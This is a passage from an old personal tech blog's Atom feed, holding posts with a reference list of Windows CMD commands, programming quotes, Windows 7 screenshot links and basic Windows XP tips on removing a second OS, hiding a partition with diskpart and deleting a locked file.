src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-3455722461639256679</id><published>2009-01-02T23:21:00.003+05:30</published><updated>2009-01-02T23:26:21.078+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>List of CMD commands</title><content type='html'>Well in this post i am listing almost all possible commands that you will ever need operating a Windows commandprompt.Well you may find yourself familiar with a few of them...and for the one which you dont know much about you can always get more info for a command by typing comman/? in the prompt.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;  ADDUSERS Add or list users to/from a CSV file&lt;br /&gt;  ARP      Address Resolution Protocol&lt;br /&gt;~ ASSOC    Change file extension associations&lt;br /&gt;  ASSOCIAT One step file association&lt;br /&gt;  AT       Schedule a command to run at a later time&lt;br /&gt;  ATTRIB   Change file attributes&lt;br /&gt;b&lt;br /&gt;  BOOTCFG  Edit Windows boot settings&lt;br /&gt;  BROWSTAT Get domain, browser and PDC info&lt;br /&gt;c&lt;br /&gt;  CACLS    Change file permissions&lt;br /&gt;~ CALL     Call one batch program from another&lt;br /&gt;~ CD       Change Directory - move to a specific Folder&lt;br /&gt;  CHANGE   Change Terminal Server Session properties&lt;br /&gt;  CHKDSK   Check Disk - check and repair disk problems&lt;br /&gt;  CHKNTFS  Check the NTFS file system&lt;br /&gt;  CHOICE   Accept keyboard input to a batch file&lt;br /&gt;  CIPHER   Encrypt or Decrypt files/folders&lt;br /&gt;  CleanMgr Automated cleanup of Temp files, recycle bin&lt;br /&gt;  CLEARMEM Clear memory leaks&lt;br /&gt;  CLIP     Copy STDIN to the Windows clipboard.&lt;br /&gt;~ CLS      Clear the screen&lt;br /&gt;  CLUSTER  Windows Clustering&lt;br /&gt;  CMD      Start a new CMD shell&lt;br /&gt;~ COLOR    Change colors of the CMD window&lt;br /&gt;  COMP     Compare the contents of two files or sets of files&lt;br /&gt;  COMPACT  Compress files or folders on an NTFS partition&lt;br /&gt;  COMPRESS Compress individual files on an NTFS partition&lt;br /&gt;  CON2PRT  Connect or disconnect a Printer&lt;br /&gt;  CONVERT  Convert a FAT drive to NTFS.&lt;br /&gt;~ COPY     Copy one or more files to another location&lt;br /&gt;  CSCcmd   Client-side caching (Offline Files)&lt;br /&gt;  CSVDE    Import or Export Active Directory data&lt;br /&gt;d&lt;br /&gt;~ DATE     Display or set the date&lt;br /&gt;  Dcomcnfg DCOM Configuration Utility&lt;br /&gt;  DEFRAG   Defragment hard drive&lt;br /&gt;~ DEL      Delete one or more files&lt;br /&gt;  DELPROF  Delete NT user profiles&lt;br /&gt;  DELTREE  Delete a folder and all subfolders&lt;br /&gt;  DevCon   Device Manager Command Line Utility&lt;br /&gt;~ DIR      Display a list of files and folders&lt;br /&gt;  DIRUSE   Display disk usage&lt;br /&gt;  DISKCOMP Compare the contents of two floppy disks&lt;br /&gt;  DISKCOPY Copy the contents of one floppy disk to another&lt;br /&gt;  DISKPART Disk Administration&lt;br /&gt;  DNSSTAT  DNS Statistics&lt;br /&gt;  DOSKEY   Edit command line, recall commands, and create macros&lt;br /&gt;  DSADD    Add user (computer, group..) to active directory&lt;br /&gt;  DSQUERY  List items in active directory&lt;br /&gt;  DSMOD    Modify user (computer, group..) in active directory&lt;br /&gt;e&lt;br /&gt;~ ECHO     Display message on screen&lt;br /&gt;~ ENDLOCAL End localisation of environment changes in a batch file&lt;br /&gt;~ ERASE    Delete one or more files&lt;br /&gt;~ EXIT     Quit the current script/routine and set an errorlevel.&lt;br /&gt;  EXPAND   Uncompress files&lt;br /&gt;  EXTRACT  Uncompress CAB files&lt;br /&gt;f&lt;br /&gt;  FC       Compare two files&lt;br /&gt;  FIND     Search for a text string in a file&lt;br /&gt;  FINDSTR  Search for strings in files&lt;br /&gt;~ FOR /F   Loop command: against a set of files&lt;br /&gt;~ FOR /F   Loop command: against the results of another command&lt;br /&gt;~ FOR      Loop command: all options Files, Directory, List&lt;br /&gt;  FORFILES Batch process multiple files&lt;br /&gt;  FORMAT   Format a disk&lt;br /&gt;  FREEDISK Check free disk space (in bytes)&lt;br /&gt;  FSUTIL   File and Volume utilities&lt;br /&gt;  FTP      File Transfer Protocol&lt;br /&gt;~ FTYPE    Display or modify file types used in file extension associations&lt;br /&gt;g&lt;br /&gt;  GLOBAL   Display membership of global groups&lt;br /&gt;~ GOTO     Direct a batch program to jump to a labelled line&lt;br /&gt;h&lt;br /&gt;  HELP     Online Help&lt;br /&gt;i&lt;br /&gt;~ IF       Conditionally perform a command&lt;br /&gt;  IFMEMBER Is the current user in an NT Workgroup&lt;br /&gt;  IPCONFIG Configure IP&lt;br /&gt;k&lt;br /&gt;  KILL     Remove a program from memory&lt;br /&gt;l&lt;br /&gt;  LABEL    Edit a disk label&lt;br /&gt;  LOCAL    Display membership of local groups&lt;br /&gt;  LOGEVENT Write text to the NT event viewer.&lt;br /&gt;  LOGOFF   Log a user off&lt;br /&gt;  LOGTIME  Log the date and time in a file&lt;br /&gt;m&lt;br /&gt;  MAPISEND Send email from the command line&lt;br /&gt;  MBSAcli  Baseline Security Analyzer.&lt;br /&gt;  MEM      Display memory usage&lt;br /&gt;~ MD       Create new folders&lt;br /&gt;  MKLINK   Create a symbolic link (linkd)&lt;br /&gt;  MODE     Configure a system device&lt;br /&gt;  MORE     Display output, one screen at a time&lt;br /&gt;  MOUNTVOL Manage a volume mount point&lt;br /&gt;~ MOVE     Move files from one folder to another&lt;br /&gt;  MOVEUSER Move a user from one domain to another&lt;br /&gt;  MSG      Send a message&lt;br /&gt;  MSIEXEC  Microsoft Windows Installer&lt;br /&gt;  MSINFO   Windows NT diagnostics&lt;br /&gt;  MSTSC    Terminal Server Connection (Remote Desktop Protocol)&lt;br /&gt;  MUNGE    Find and Replace text within file(s)&lt;br /&gt;  MV       Copy in-use files&lt;br /&gt;n&lt;br /&gt;  NET      Manage network resources&lt;br /&gt;  NETDOM   Domain Manager&lt;br /&gt;  NETSH    Configure network protocols&lt;br /&gt;  NETSVC   Command-line Service Controller&lt;br /&gt;  NBTSTAT  Display networking statistics (NetBIOS over TCP/IP)&lt;br /&gt;  NETSTAT  Display networking statistics (TCP/IP)&lt;br /&gt;  NOW      Display the current Date and Time&lt;br /&gt;  NSLOOKUP Name server lookup&lt;br /&gt;  NTBACKUP Backup folders to tape&lt;br /&gt;  NTRIGHTS Edit user account rights&lt;br /&gt;p&lt;br /&gt;~ PATH     Display or set a search path for executable files&lt;br /&gt;  PATHPING Trace route plus network latency and packet loss&lt;br /&gt;~ PAUSE    Suspend processing of a batch file and display a message&lt;br /&gt;  PERMS    Show permissions for a user&lt;br /&gt;  PERFMON  Performance Monitor&lt;br /&gt;  PING     Test a network connection&lt;br /&gt;~ POPD     Restore the previous value of the current directory saved by PUSHD&lt;br /&gt;  PORTQRY  Display the status of ports and services&lt;br /&gt;  PRINT    Print a text file&lt;br /&gt;  PRNCNFG  Display, configure or rename a printer&lt;br /&gt;  PRNMNGR  Add, delete, list printers set the default printer&lt;br /&gt;~ PROMPT   Change the command prompt&lt;br /&gt;  PsExec     Execute process remotely&lt;br /&gt;  PsFile     Show files opened remotely&lt;br /&gt;  PsGetSid   Display the SID of a computer or a user&lt;br /&gt;  PsInfo     List information about a system&lt;br /&gt;  PsKill     Kill processes by name or process ID&lt;br /&gt;  PsList     List detailed information about processes&lt;br /&gt;  PsLoggedOn Who's logged on (locally or via resource sharing)&lt;br /&gt;  PsLogList  Event log records&lt;br /&gt;  PsPasswd   Change account password&lt;br /&gt;  PsService  View and control services&lt;br /&gt;  PsShutdown Shutdown or reboot a computer&lt;br /&gt;  PsSuspend  Suspend processes&lt;br /&gt;~ PUSHD    Save and then change the current directory&lt;br /&gt;q&lt;br /&gt;  QGREP    Search file(s) for lines that match a given pattern.&lt;br /&gt;r&lt;br /&gt;  RASDIAL  Manage RAS connections&lt;br /&gt;  RASPHONE Manage RAS connections&lt;br /&gt;  RECOVER  Recover a damaged file from a defective disk.&lt;br /&gt;  REG      Registry: Read, Set, Export, Delete keys and values&lt;br /&gt;  REGEDIT  Import or export registry settings&lt;br /&gt;  REGSVR32 Register or unregister a DLL&lt;br /&gt;  REGINI   Change Registry Permissions&lt;br /&gt;~ REM      Record comments (remarks) in a batch file&lt;br /&gt;~ REN      Rename a file or files.&lt;br /&gt;  REPLACE  Replace or update one file with another&lt;br /&gt;~ RD       Delete folder(s)&lt;br /&gt;  RMTSHARE Share a folder or a printer&lt;br /&gt;  ROBOCOPY Robust File and Folder Copy&lt;br /&gt;  ROUTE    Manipulate network routing tables&lt;br /&gt;  RUNAS    Execute a program under a different user account&lt;br /&gt;  RUNDLL32 Run a DLL command (add/remove print connections)&lt;br /&gt;s&lt;br /&gt;  SC       Service Control&lt;br /&gt;  SCHTASKS Create or Edit Scheduled Tasks&lt;br /&gt;  SCLIST   Display NT Services&lt;br /&gt;~ SET      Display, set, or remove environment variables&lt;br /&gt;~ SETLOCAL Control the visibility of environment variables&lt;br /&gt;  SETX     Set environment variables permanently&lt;br /&gt;  SHARE    List or edit a file share or print share&lt;br /&gt;~ SHIFT    Shift the position of replaceable parameters in a batch file&lt;br /&gt;  SHORTCUT Create a windows shortcut (.LNK file)&lt;br /&gt;  SHOWGRPS List the NT Workgroups a user has joined&lt;br /&gt;  SHOWMBRS List the Users who are members of a Workgroup&lt;br /&gt;  SHUTDOWN Shutdown the computer&lt;br /&gt;  SLEEP    Wait for x seconds&lt;br /&gt;  SOON     Schedule a command to run in the near future&lt;br /&gt;  SORT     Sort input&lt;br /&gt;~ START    Start a program or command in a separate window.&lt;br /&gt;  SU       Switch User&lt;br /&gt;  SUBINACL Edit file and folder Permissions, Ownership and Domain&lt;br /&gt;  SUBST    Associate a path with a drive letter&lt;br /&gt;  SYSTEMINFO List system configuration&lt;br /&gt;t&lt;br /&gt;  TASKLIST List running applications and services&lt;br /&gt;  TASKKILL Remove a running process from memory&lt;br /&gt;~ TIME     Display or set the system time&lt;br /&gt;  TIMEOUT  Delay processing of a batch file&lt;br /&gt;~ TITLE    Set the window title for a CMD.EXE session&lt;br /&gt;  TLIST    Task list with full path&lt;br /&gt;  TOUCH    Change file timestamps   &lt;br /&gt;  TRACERT  Trace route to a remote host&lt;br /&gt;  TREE     Graphical display of folder structure&lt;br /&gt;~ TYPE     Display the contents of a text file&lt;br /&gt;u&lt;br /&gt;  USRSTAT  List domain usernames and last login&lt;br /&gt;v&lt;br /&gt;~ VER      Display version information&lt;br /&gt;~ VERIFY   Verify that files have been saved&lt;br /&gt;~ VOL      Display a disk label&lt;br /&gt;w&lt;br /&gt;  WHERE    Locate and display files in a directory tree&lt;br /&gt;  WHOAMI   Output the current UserName and domain&lt;br /&gt;  WINDIFF  Compare the contents of two files or sets of files&lt;br /&gt;  WINMSD   Windows system diagnostics&lt;br /&gt;  WINMSDP  Windows system diagnostics II&lt;br /&gt;  WMIC     WMI Commands&lt;br /&gt;x&lt;br /&gt;  XCACLS   Change file permissions&lt;br /&gt;  XCOPY    Copy files and folders&lt;br /&gt;~ ::       Comment / Remark&lt;br /&gt;&lt;br /&gt;Commands marked ~ are Internal commands only available within the CMD shell.&lt;br /&gt;All other commands (NOT marked with ~) are external commands which may be used under the CMD shell, PowerShell, or directly from START-RUN&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"list of command prompt commands" "cmd commands" list of cmd commands"&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-3455722461639256679?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/3455722461639256679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=3455722461639256679' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3455722461639256679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3455722461639256679'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/01/list-of-cmd-commands.html' title='List of CMD commands'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-5802887054833600960</id><published>2009-01-02T22:40:00.002+05:30</published><updated>2009-01-02T22:48:46.601+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Random'/><title type='text'>Programming Quotes</title><content type='html'>I was just wondereing on net randomly (as usual) when i came across a set of programming quotes.&lt;br /&gt;well i found them very interesting so i have listed a few!!Hope you all like them!!&lt;br /&gt;    “Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.”&lt;br /&gt;   &lt;span style="font-style:italic;"&gt;- Brian Kernighan&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    “There are only two kinds of languages: the ones people complain about and the ones nobody uses.”&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;- Bjarne Stroustrup&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    “Any fool can write code that a computer can understand. Good programmers write code that humans can understand.”&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;- Martin Fowler&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    “There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.”&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;- C.A.R. Hoare&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    “Most software today is very much like an Egyptian pyramid with millions of bricks piled on top of each other, with no structural integrity, but just done by brute force and thousands of slaves.”&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;-  Alan Kay&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    “Measuring programming progress by lines of code is like measuring aircraft building progress by weight.”&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-style:italic;"&gt; - Bill Gates&lt;/span&gt;&lt;br /&gt;    “Programs must be written for people to read, and only incidentally for machines to execute.”&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-style:italic;"&gt; - Abelson / Sussman&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    “If you want to set off and go develop some grand new thing, you don’t need millions of dollars of capitalization. You need enough pizza and Diet Coke to stick in your refrigerator, a cheap PC to work on and the dedication to go through with it.”&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;- John Carmack&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-5802887054833600960?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/5802887054833600960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=5802887054833600960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5802887054833600960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5802887054833600960'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/01/programming-quotes.html' title='Programming Quotes'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2127265607799069712</id><published>2009-01-01T14:04:00.008+05:30</published><updated>2009-01-01T15:09:50.719+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Windows 7 screenshots</title><content type='html'>Windows is preparing to launch its latest OS &lt;a href="http://ankitunleashed.blogspot.com/2009/01/windows-7-screenshots.html"&gt;windows 7&lt;/a&gt;.Though its beta version is still not publically availabele still its creating a sensations in the windows market about its features!! Its expected beta release is in first qauter of 2009.Well i Hope that it would be worth the wait.Not like the Vist which was much hyped but had nothing in store instead only created problems for its XP users in &lt;a href="http://ankitunleashed.blogspot.com/2008/12/how-to-remove-vista.html"&gt;uninstalling&lt;/a&gt; it.Well anyways here are a few screenshots from Windows 7 which will definetly amaze you!!&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/win-7-beta-6.thumbnail.jpg"&gt;&lt;img style="cursor: pointer; width: 128px; height: 96px;" src="http://techspotlight.today.com/files/2008/12/win-7-beta-6.thumbnail.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/win-7-beta-1.thumbnail.jpg"&gt;&lt;img style="cursor: pointer; width: 128px; height: 96px;" src="http://techspotlight.today.com/files/2008/12/win-7-beta-1.thumbnail.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/win-7-beta-4.thumbnail.jpg"&gt;&lt;img style="cursor: pointer; width: 128px; height: 96px;" src="http://techspotlight.today.com/files/2008/12/win-7-beta-4.thumbnail.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/windows-7-end-december-5.thumbnail.jpg"&gt;&lt;img style="cursor: pointer; width: 128px; height: 80px;" src="http://techspotlight.today.com/files/2008/12/windows-7-end-december-5.thumbnail.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/win-7-beta-2.thumbnail.jpg"&gt;&lt;img style="cursor: pointer; width: 128px; height: 96px;" src="http://techspotlight.today.com/files/2008/12/win-7-beta-2.thumbnail.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/win-7-beta-2.jpg"&gt;&lt;img style="cursor: pointer; width: 640px; height: 480px;" src="http://techspotlight.today.com/files/2008/12/win-7-beta-2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/windows-7-end-december-5.jpg"&gt;&lt;img style="cursor: pointer; width: 640px; height: 400px;" src="http://techspotlight.today.com/files/2008/12/windows-7-end-december-5.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://techspotlight.today.com/files/2008/12/windows-7-end-december-4.jpg"&gt;&lt;img style="cursor: pointer; width: 640px; height: 400px;" src="http://techspotlight.today.com/files/2008/12/windows-7-end-december-4.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2127265607799069712?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2127265607799069712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2127265607799069712' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2127265607799069712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2127265607799069712'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/01/windows-7-screenshots.html' title='Windows 7 screenshots'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-5263876028770045669</id><published>2008-12-25T19:49:00.002+05:30</published><updated>2008-12-25T20:06:32.678+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>How to remove a second windows OS</title><content type='html'>This guide willl help you to remove 2nd installation of windows from your hard drive.&lt;br /&gt;Just follow this step by step guide to get your 2nd windows installation removed withing minutes even from the bootup menu.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;If you have got vista and XP and want to remove XP than the following method may not work.In such a case you may like to read &lt;a href="http://ankitunleashed.blogspot.com/2008/12/how-to-remove-vista.html"&gt;how to remove vista&lt;/a&gt;&lt;br /&gt;Note Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.&lt;br /&gt;&lt;br /&gt;  1. Start the Windows operating system that you want to keep.&lt;br /&gt;  2. To determine the Windows folder that you want to keep, click Start, click Run, type %windir%, and then click OK. Remember the folder that is opened. For example, the folder may be C:\Windows.&lt;br /&gt;&lt;br /&gt;     Note This is your "working" Windows folder. Do not delete or remove this folder from the partition.&lt;br /&gt;  3. In Windows Explorer, find the Windows folder that you want to remove.&lt;br /&gt;&lt;br /&gt;     Important Make sure that this folder is not the folder that you identified as your "working" Windows folder in step 2.&lt;br /&gt;  4. Right-click the Windows folder that you want to remove, and then click Delete.&lt;br /&gt;  5. Click Yes to confirm the deletion of the folder.&lt;br /&gt;  6. Click Start, right-click My Computer, and then click Properties.&lt;br /&gt;  7. On the Advanced tab, under Startup and Recovery, click Settings. The Startup and Recovery dialog box appears.&lt;br /&gt;  8. Under System startup, click Edit to modify the Boot.ini file.&lt;br /&gt;  9. On the File menu in Notepad, click Save As, and then save a backup copy of the Boot.ini file that is named Boot.old. (This is done to backup your old boot file)&lt;br /&gt;  10. On the File menu, click Exit to close the backup copy of the Boot.ini file.&lt;br /&gt;  11. In the Startup and Recovery dialog box, under System startup, click Edit to reopen the Boot.ini file.&lt;br /&gt;  12. In the [boot loader] section of the Boot.ini file, identify and then delete the line of text for the Windows operating system that you want to remove.&lt;br /&gt;  13.save and quit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 51);"&gt;"How to remove windows" "uninstalling windows" "how to uninstall windows"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And here is the rest of it.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-5263876028770045669?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/5263876028770045669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=5263876028770045669' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5263876028770045669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5263876028770045669'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/how-to-remove-second-windows-os.html' title='How to remove a second windows OS'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-6263060027093591697</id><published>2008-12-23T19:21:00.004+05:30</published><updated>2008-12-25T20:02:06.705+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><title type='text'>Hiding disk partition in windows XP</title><content type='html'>Follow thses steps to hide your disk partition in windows XP&lt;br /&gt; Go to Start &gt; run &gt; type "diskpart".(Without Quote)a dos window will appear with following prompt.DISKPART&gt;2. Then type "list volume" this will look like it&lt;br /&gt;Volume### Ltr Label Fs Type Size Status Info-------------- ---- ------ --- ----- ---- ------- --&lt;br /&gt;Volume 0 F DC-ROM&lt;br /&gt;Volume 1 C NTFS Partition 7000MB Healthy&lt;br /&gt;Volume 2 D soft NTFS Partition 8000MB Healthy&lt;br /&gt;Volume 3 E ---- NTFS Partition 8000MB Healthy.&lt;br /&gt; &lt;span class="fullpost"&gt;&lt;br /&gt; If u wanna hide drive E then type "select volume 3"then a message will appear in same winwods { Volume 3 is the selected volume}&lt;br /&gt;Now type " remove letter E" now a message will come { Diskpart Removed the Drive letter }sometime it requires the reboot the computer .&lt;br /&gt;Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.Don afraid ur Data will ramin same .&lt;br /&gt;To Come backe the Drive repeat the process . but in 4th step whish is shown in this post replace " remove" to "assign"i mean type " assign letter E"&lt;br /&gt;&lt;br /&gt;Note:-if you are not a lammer than there are still other ways to get around this...&lt;br /&gt;hint:-use control pannel&gt;disk managment&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And here is the rest of it.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-6263060027093591697?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/6263060027093591697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=6263060027093591697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6263060027093591697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6263060027093591697'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/follow-thses-steps-to-hide-your-disk.html' title='Hiding disk partition in windows XP'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8212853227755752774</id><published>2008-12-23T19:10:00.002+05:30</published><updated>2008-12-23T19:13:56.747+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><title type='text'>How to delete a protected file</title><content type='html'>Many a time you want to delete some files which pops up error message such as "file cannot be deleted" or "you donnot have the appropiriate permission to delete this file". These messages are really irritating and frustrating know i will let you know how to delete such files...&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. Open a Command Prompt window and leave it open.&lt;br /&gt;2. Close all open programs.&lt;br /&gt;3. Click Start, Run and enter TASKMGR.EXE.&lt;br /&gt;4. Go to the Processes tab and End Process on Explorer.exe.&lt;br /&gt;5. Leave Task Manager open..(After this There will be no desktop icons and nothing is accessible but don’t worry this is due to shutting down of explorer)&lt;br /&gt;6. Go back to the Command Prompt window and change to the directory to where undeletablefile) is located in.&lt;br /&gt;7. At the command prompt type DEL where is the file you wish to delete.&lt;br /&gt;8. Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.&lt;br /&gt;9. Close Task Manager.&lt;br /&gt;&lt;br /&gt;note:-use at your own risk&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8212853227755752774?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8212853227755752774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8212853227755752774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8212853227755752774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8212853227755752774'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/how-to-delete-protected-file.html' title='How to delete a protected file'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 